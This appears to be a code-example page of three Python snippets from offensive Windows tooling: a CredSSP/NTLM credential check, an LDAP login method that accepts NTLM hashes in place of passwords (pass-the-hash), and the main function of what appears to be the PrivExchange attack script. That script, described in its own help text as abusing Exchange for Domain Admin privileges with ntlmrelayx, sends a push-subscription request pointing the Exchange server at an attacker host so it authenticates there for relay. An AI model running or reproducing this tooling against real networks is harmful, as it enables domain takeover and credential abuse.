        pkey = server_cert.get_pubkey()
        dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)

        # Fix up due to PyOpenSSL lack for exporting public keys
        dump = dump[7:]
        dump = b'\x30' + asn1encode(dump)

        cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
        signature, cripted_key = cipher.encrypt(dump)
        ts_request['NegoData'] = type3.getData()
        ts_request['pubKeyAuth'] = signature.getData() + cripted_key

        try:
            # Sending the Type 3 NTLM blob
            tls.send(ts_request.getData())
            # The other end is waiting for the pubKeyAuth field, but looks like it's
            # not needed to check whether authentication worked.
            # If auth is unsuccessful, it throws an exception with the previous send().
            # If auth is successful, the server waits for the pubKeyAuth and doesn't answer
            # anything. So, I'm sending garbage so the server returns an error.
            # Luckily, it's a different error so we can determine whether or not auth worked ;)
            buff = tls.recv(1024)
        except Exception as err:
            if str(err).find("denied") > 0:
                logging.error("Access Denied")
            else:
                logging.error(err)
            return

        # 4. After the server receives the public key in step 3, it first verifies that
        # it has the same public key that it used as part of the TLS handshake in step 1.
        # The server then adds 1 to the first byte representing the public key (the ASN.1
        # structure corresponding to the SubjectPublicKey field, as described in step 3)
        # and encrypts the binary result by using the SPNEGO encryption services.
        # Due to the addition of 1 to the binary data, and encryption of the data as a binary
        # structure, the resulting value may not be valid ASN.1-encoded values.
        # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest
        # structure and is sent over the encrypted TLS channel to the client.
        # The addition of 1 to the first byte of the public key is performed so that the
        # client-generated pubKeyAuth message cannot be replayed back to the client by an
        # attacker.
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens
        # fields are omitted from the TSRequest structure.

        ts_request = TSRequest(buff)

        # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;)
        signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:])

        # 5. After the client successfully verifies server authenticity by performing a
        # binary comparison of the data from step 4 to that of the data representing
        # the public key from the server's X.509 certificate (as specified in [RFC3280],
        # section 4.1), it encrypts the user's credentials (either password or smart card
        # PIN) by using the SPNEGO encryption services. The resulting value is
        # encapsulated in the authInfo field of the TSRequest structure and sent over
        # the encrypted TLS channel to the server.
        # The TSCredentials structure within the authInfo field of the TSRequest
        # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure,
        # but MUST NOT contain both.
        #
        # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens
        # fields are omitted from the TSRequest structure.
        tsp = TSPasswordCreds()
        tsp['domainName'] = domain
        tsp['userName'] = username
        tsp['password'] = password
        tsc = TSCredentials()
        tsc['credType'] = 1  # TSPasswordCreds
        tsc['credentials'] = tsp.getData()

        signature, cripted_creds = cipher.encrypt(tsc.getData())
        ts_request = TSRequest()
        ts_request['authInfo'] = signature.getData() + cripted_creds
        tls.send(ts_request.getData())
        tls.close()
        logging.info("Access Granted")
Example #10
0
    def login(self,
              user='',
              password='',
              domain='',
              lmhash='',
              nthash='',
              authenticationChoice='sicilyNegotiate'):
        """
        logins into the target system

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string authenticationChoice: type of authentication protocol to use (default NTLM)

        :return: True, raises a LDAPSessionError if error.
        """
        bindRequest = BindRequest()
        bindRequest['version'] = 3

        if authenticationChoice == 'simple':
            if '.' in domain:
                bindRequest['name'] = user + '@' + domain
            elif domain:
                bindRequest['name'] = domain + '\\' + user
            else:
                bindRequest['name'] = user
            bindRequest['authentication']['simple'] = password
            response = self.sendReceive(bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyPackageDiscovery':
            bindRequest['name'] = user
            bindRequest['authentication']['sicilyPackageDiscovery'] = ''
            response = self.sendReceive(bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyNegotiate':
            # Deal with NTLM Authentication
            if lmhash != '' or nthash != '':
                if len(lmhash) % 2:
                    lmhash = '0' + lmhash
                if len(nthash) % 2:
                    nthash = '0' + nthash
                try:  # just in case they were converted already
                    lmhash = unhexlify(lmhash)
                    nthash = unhexlify(nthash)
                except TypeError:
                    pass

            bindRequest['name'] = user

            # NTLM Negotiate
            negotiate = getNTLMSSPType1('', domain)
            bindRequest['authentication'][
                'sicilyNegotiate'] = negotiate.getData()
            response = self.sendReceive(bindRequest)[0]['protocolOp']

            # NTLM Challenge
            type2 = response['bindResponse']['matchedDN']

            # NTLM Auth
            type3, exportedSessionKey = getNTLMSSPType3(
                negotiate, bytes(type2), user, password, domain, lmhash,
                nthash)
            bindRequest['authentication']['sicilyResponse'] = type3.getData()
            response = self.sendReceive(bindRequest)[0]['protocolOp']
        else:
            raise LDAPSessionError(
                errorString="Unknown authenticationChoice: '%s'" %
                authenticationChoice)

        if response['bindResponse']['resultCode'] != ResultCode('success'):
            raise LDAPSessionError(
                errorString='Error in bindRequest -> %s: %s' %
                (response['bindResponse']['resultCode'].prettyPrint(),
                 response['bindResponse']['diagnosticMessage']))

        return True
Example #11
0
def main():
    parser = argparse.ArgumentParser(
        description=
        'Exchange your privileges for Domain Admin privs by abusing Exchange. Use me with ntlmrelayx'
    )
    parser.add_argument("host",
                        type=str,
                        metavar='HOSTNAME',
                        help="Hostname/ip of the Exchange server")
    parser.add_argument("-u",
                        "--user",
                        metavar='USERNAME',
                        help="username for authentication")
    parser.add_argument(
        "-d",
        "--domain",
        metavar='DOMAIN',
        help="domain the user is in (FQDN or NETBIOS domain name)")
    parser.add_argument(
        "-p",
        "--password",
        metavar='PASSWORD',
        help=
        "Password for authentication, will prompt if not specified and no NT:NTLM hashes are supplied"
    )
    parser.add_argument('--hashes', action='store', help='LM:NLTM hashes')
    parser.add_argument("--no-ssl",
                        action='store_true',
                        help="Don't use HTTPS (connects on port 80)")
    parser.add_argument("--exchange-port",
                        help="Alternative EWS port (default: 443 or 80)")
    parser.add_argument("-ah",
                        "--attacker-host",
                        required=True,
                        help="Attacker hostname or IP")
    parser.add_argument(
        "-ap",
        "--attacker-port",
        default=80,
        help="Port on which the relay attack runs (default: 80)")
    parser.add_argument(
        "--attacker-page",
        default="/privexchange/",
        help="Page to request on attacker server (default: /privexchange/)")
    parser.add_argument("--debug",
                        action='store_true',
                        help='Enable debug output')
    args = parser.parse_args()

    ews_url = "/EWS/Exchange.asmx"

    # Init logging
    logger = logging.getLogger()
    logger.setLevel(logging.INFO)
    stream = logging.StreamHandler(sys.stderr)
    stream.setLevel(logging.DEBUG)
    formatter = logging.Formatter('%(levelname)s: %(message)s')
    stream.setFormatter(formatter)
    logger.addHandler(stream)

    # Should we log debug stuff?
    if args.debug is True:
        logger.setLevel(logging.DEBUG)

    if args.password is None and args.hashes is None:
        args.password = getpass.getpass()

    # Init connection
    if not args.no_ssl:
        # HTTPS = default
        port = 443
        if args.exchange_port:
            port = int(args.exchange_port)
        try:
            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            session = HTTPSConnection(args.host, port, context=uv_context)
        except AttributeError:
            session = HTTPSConnection(args.host, port)
    else:
        # Otherwise: HTTP
        port = 80
        if args.exchange_port:
            port = int(args.exchange_port)
        session = HTTPConnection(args.host, port)

    # Construct attacker url
    if args.attacker_port != 80:
        attacker_url = 'http://%s:%d%s' % (
            args.attacker_host, int(args.attacker_port), args.attacker_page)
    else:
        attacker_url = 'http://%s%s' % (args.attacker_host, args.attacker_page)
    logging.info('Using attacker URL: %s', attacker_url)
    # Use impacket for NTLM
    ntlm_nego = ntlm.getNTLMSSPType1(args.attacker_host, domain=args.domain)

    #Negotiate auth
    negotiate = base64.b64encode(ntlm_nego.getData())
    # Headers
    # Source: https://github.com/thezdi/PoC/blob/master/CVE-2018-8581/Exch_EWS_pushSubscribe.py
    headers = {
        "Authorization": 'NTLM %s' % negotiate,
        "Content-type": "text/xml; charset=utf-8",
        "Accept": "text/xml",
        "User-Agent": "ExchangeServicesClient/0.0.0.0",
        "Translate": "F"
    }

    session.request("POST", ews_url, POST_BODY % attacker_url, headers)

    res = session.getresponse()
    res.read()

    # Copied from ntlmrelayx httpclient.py
    if res.status != 401:
        logging.info(
            'Status code returned: %d. Authentication does not seem required for URL',
            res.status)
    try:
        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            logging.error(
                'NTLM Auth not offered by URL, offered protocols: %s',
                res.getheader('WWW-Authenticate'))
            return False
    except (KeyError, TypeError):
        logging.error('No authentication requested by the server for url %s',
                      ews_url)
        return False

    logging.debug('Got 401, performing NTLM authentication')
    # Get negotiate data
    try:
        ntlm_challenge_b64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            res.getheader('WWW-Authenticate')).group(1)
        ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
    except (IndexError, KeyError, AttributeError):
        logging.error('No NTLM challenge returned from server')
        return

    if args.hashes:
        lm_hash_h, nt_hash_h = args.hashes.split(':')
        # Convert to binary format
        lm_hash = binascii.unhexlify(lm_hash_h)
        nt_hash = binascii.unhexlify(nt_hash_h)
        args.password = ''
    else:
        nt_hash = ''
        lm_hash = ''

    ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, args.user,
                                        args.password, args.domain, lm_hash,
                                        nt_hash)
    auth = base64.b64encode(ntlm_auth.getData())

    headers = {
        "Authorization": 'NTLM %s' % auth,
        "Content-type": "text/xml; charset=utf-8",
        "Accept": "text/xml",
        "User-Agent": "ExchangeServicesClient/0.0.0.0",
        "Translate": "F"
    }

    session.request("POST", ews_url, POST_BODY % attacker_url, headers)
    res = session.getresponse()

    logging.debug('HTTP status: %d', res.status)
    body = res.read()
    logging.debug('Body returned: %s', body)
    if res.status == 200:
        logging.info(
            'Exchange returned HTTP status 200 - authentication was OK')
        # Parse XML with ElementTree
        root = ET.fromstring(body)
        code = None
        for response in root.iter(
                '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseCode'
        ):
            code = response.text
        if not code:
            logging.error('Could not find response code element in body: %s',
                          body)
            return
        if code == 'NoError':
            logging.info('API call was successful')
        elif code == 'ErrorMissingEmailAddress':
            logging.error(
                'The user you authenticated with does not have a mailbox associated. Try a different user.'
            )
        else:
            logging.error('Unknown error %s', code)
            for errmsg in root.iter(
                    '{http://schemas.microsoft.com/exchange/services/2006/messages}ResponseMessages'
            ):
                logging.error('Server returned: %s', errmsg.text)
    elif res.status == 401:
        logging.error(
            'Server returned HTTP status 401 - authentication failed')
    else:
        logging.error('Server returned HTTP %d: %s', res.status, body)